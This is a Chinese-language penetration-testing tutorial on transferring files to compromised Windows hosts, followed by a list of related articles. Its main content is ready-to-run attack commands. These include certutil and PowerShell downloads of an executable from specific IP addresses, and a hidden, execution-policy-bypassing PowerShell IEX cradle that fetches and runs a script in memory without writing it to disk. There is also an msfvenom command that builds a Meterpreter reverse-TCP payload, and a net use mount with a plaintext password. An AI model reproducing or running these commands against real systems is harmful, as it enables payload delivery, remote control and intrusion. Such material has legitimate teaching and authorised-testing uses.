渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试
文章目录
- 文件传输
- certutil
- BitsAdmin
- Powershell
- SCP
- Windows文件共享
文件传输
文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用。
下面我说的下载统一为攻击机向目标机传输文件,上传则相反!
下面很多下载我都是在Linux上开启的下载服务,可以看我在Linux篇写的攻击机挂载文件: https://xunmi.blog.csdn.net/article/details/115370320
注意: 下述所有命令,如果你是在powershell中执行的,则无需在开头写powershell,如果是在cmd中执行的,这需要写powershell。下述所有命令没有特殊说明的情况下,我都是使用powershell做示例!(看命令行开头有PS
这代表是powershell!)
certutil
certutil是Windows内置的一个证书服务的一部分,其中有可以被我们利用的下载模块。
- 优势: 方便易用,支持大多数文件下载
- 缺点: 不支持文件上传,而且下载文件后留有缓存
# 显示或删除 URL 缓存项目
-URLCache
# 分离嵌入的抽象语法标记1(ASN.1)元素,并保存到文件
-URLCache -split
# 强制执行
-URLCache -f
# 强制执行将目标文件保存到指定地址
certutil.exe -urlcache -split -f 目标文件 保存地址
# 如
certutil -urlcache -split -f http://43.128.11.31:8000/6666.exe C:\临时\下载文件.exe
上述在介绍命令的时候也能看出这种下载方式是利用了cetutil的缓存机制,所以会留下缓存的文件。默认缓存路径%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
# 删除缓存
certutil.exe -urlcache -split -f 目标文件 delete
# 如
certutil.exe -urlcache -split -f http://43.128.11.31:8000/6666.exe delete
BitsAdmin
- 优势: 专门用来传输文件的工具,传输功能齐全。
- 缺点: 下载目标必须是真实的HTTP协议,如阿帕奇,不支持Python之类的脚本开启的临时服务。
# 下载文件
bitsadmin /transfer 任务名 下载地址 保存地址(最后需要加上保存文件的名字)
# 如
bitsadmin /transfer 下载任务 http://43.128.11.131/1.txt C:\Users\xunmi\Desktop\网安\下载文件.txt
Powershell
- 优势: 简单易用,适用性广。(并且支持Python之类的脚本语言开启的简易web服务!)
- 缺点: 被大多数杀软判定为安全重灾区,会受到很多杀软的’特殊关照’!
- 方法一: 调用内置对象
system.net.webclient
(提供常用的方法来发送和接收由URI标识的一个资源中的数据)
# 最基础的文件下载
## 创建一个新的对象
$p = new-object system.net.webclient
## 调用此实例来下载目标文件
$p.downloadfile("下载地址","保存地址")
# 合并版
## powershell中执行
$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')
## cmd中执行
powershell -c "$p=new-object system.net.webclient;$p.downloadfile('下载地址','保存地址')"
powershell -c "$p=new-object system.net.webclient;$p.downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')"
# 简写版
(new-object system.net.webclient).downloadfile("下载地址","保存地址")
(new-object system.net.webclient).downloadfile('http://43.128.11.131:8000/6666.exe','C:\Users\xunmi\Desktop\网安\6666.exe')
PS: 保存地址尽量写绝对路径!
- 方法二:调用
Invoke-WebRequest
方法,此方法有几个别名,iwr,wget,curl,使用此别名和此方法名效果是完全相同的!如果你看了我之前写的linux篇或本身对Linux文件传输就有所了解应该会对这几个别名感觉非常熟悉!
# 使用方法
Invoke-WebRequest -uri "下载地址" -OutFile "保存地址"
# 使用别名效果相同,并且-uri可以省略
wget "下载地址" -OutFile "保存地址"
# 比如
wget 'http://43.128.11.131:8000/6666.exe' -OutFile 'C:\Users\xunmi\Desktop\网安\6666.exe'
- 方法三: 加文件加载如内存,无文件落地,这里需要调用到内置对象
Net.WebClient
# -windowstyle 窗口模式(这里我选择隐藏窗口)
# -exec 执行策略,可以简写为-ep(默认策略无法在内存中执行,这里选择bypass)
# IEX 加载到内存,无文件落地
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('下载地址');脚本名";
# http://192.168.1.200:8000/shell.ps1
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
# 使用msf生成一个测试目标
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=6666 -f psh-reflection -o shell.ps1powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:8000/shell.ps1');shell.ps1";
SCP
scp有点像ssh的连接语法,也是一个非交互的文件传输方法,同样也会自动调用ssh的免密认证。并且这种方法不仅可以下载文件,还可以下载文件夹还有上传文件和文件夹操作!
# 下载文件
scp 用户名@服务器地址:目标文件 保存地址
# 如
scp root@43.128.11.131:/root/渗透测试/1.txt F:\下载\临时\1.txt
# 下载文件夹(需要-r参数)
scp -r 用户名@服务器地址:目标文件夹 保存地址
# 如
scp -r root@43.128.11.131:/root/渗透测试/挂载脚本 F:\下载\临时\
# 上传文件
scp 上传文件 用户名@服务器地址:目标目录
# 如
scp F:\下载\临时\火星船票.png root@43.128.11.131:/root/渗透测试/上传的图片.png
# 同样如果想上传文件夹,只需要添加-r参数即可
scp -r F:\下载\临时 root@43.128.11.131:/root/渗透测试
Windows文件共享
文件共享在内网横向渗透中会比较常用。
# 查看当前本机可共享的文件夹
net share
# 如下图,可以看出默认情况下,我们几个磁盘都会被共享,对方如果有我们主机的账户的话是可以直接远程挂载的!
# 挂载方式
net use 本地盘符 \\目标IP地址\目标共享名
# 或
net use 本地盘符 \\目标IP地址\目标共享名 "目标用户密码" /user:目标用户名
net use Y: \\192.168.1.251\Users "8ge8+1ge1" /user:xunmi
# 但一般默认共享的目录只有administrator及以上权限用户才有资格连接
渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试相关推荐
- 渗透测试常用文件传输方法-Linux篇(如何向Linux服务器中上传文件?) (゚益゚メ) 渗透测试
文章目录 介绍 攻击机挂载文件 Python脚本挂载 使用阿帕奇服务挂载 传输文件 wget curl netcat sftp 其他方法 DNS传输数据 介绍 文件上传一般分为上传和下载,下面我所指的 ...
- java mina文件传输_如何将Apache MINA FTP服务器中上传的文件重定向到数据库?
您所指的 onDownloadStart 示例似乎已过时 . 首先,使用的 FtpletEnum 类是 ftplet-api 的早期版本的一部分 . 较新版本不再拥有它 . 至少我无法找到它 . 尽管 ...
- 文件传输助手:两台电脑之间怎么互相传文件
在生活中,传输文件几乎是每时每秒都在发生的事,今天小编给大家介绍一款文件传输助手--易我电脑迁移软件.为什么突然说起这款软件呢?是因为不少小伙伴都问到小编,两台电脑之间怎么互相传文件?其实,在这种情景 ...
- linux文件传输限制带宽,linux – 如何限制CentOS服务器上传/下载带宽?
我在这里为你添加脚本代码时遇到了麻烦,可以通过这个要点获得 – https://gist.github.com/akrasic/7242498#file-limit-tc-sh 该脚本使用TC和Hie ...
- 文件服务器单向传输数据,一种单向文件传输方法及实现该传输方法的服务器
1.一种单向文件传输方法,其特征在于,所述单向文件传输方法应用于服务器,所述服 务器包括第一文件夹,所述单向文件传输方法包括如下步骤: 接收客户端发送的文件传输请求,所述客户端包括第二文件夹,所述第二 ...
- xshell往linux传文件,Xshell向Linux服务器上传文件的详细步骤
相信Linux用户对Xshell远程管理软件都不陌生的,不过对于一些新手朋友来讲,向Linux服务器上传文件可能还存在难度,这里小编就分享了Xshell向Linux服务器上传文件的详细步骤,下面一起来 ...
- 如何修改WampServer服务器上传文件的大小?
修改WampServer服务器上传文件的大小 序: 默认情况下服务器对上传文件的大小是有限制的, 如果想修改上传文件的限制可以修改php.ini文件 ➢file_uploads = On(是否允许上传 ...
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试
文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...
- 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试
文章目录 相关博客 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC Telnet反弹 正向shell 反向shell OpenSSL Curl 相关博客 Linux信息 ...
最新文章
- 13. 微型计算机中,传送cpu发出的读/写指令的总线是,我的微机原理题库
- npm你不知道的8个快捷键
- 如果根据日志去禁用user_agent
- 64位系统上使用*** Client端
- Cannot start compilation:the output path is not specifired for module “xxx“.Specify the output path
- config.php开启redis,微擎如何开启redis,redis开启方法详解
- malloc()与 alloc()区别(转)
- 关于大规模录入的数据流转
- 【5】Java内存访问重排序vs volatile
- 正则表达式 匹配一个数字
- Apple Final Cut Pro X 10.4.6 中文特别版 Mac 最强大视频后期制作软件
- 义嘉泰带你了解环境光和接近传感器
- vue 获取当前路由地址——router.currentRoute与$route
- 一文搞懂 Traefik2.1 的使用
- 最好的EM算法介绍-由例子介绍原理
- ST MCU的国产替代
- 《Linux就该这么学》读书笔记
- matlab sym2,sym2poly poly2sym
- Python相关介绍(很好)
- mocha测试js教程(涉及es6、ts)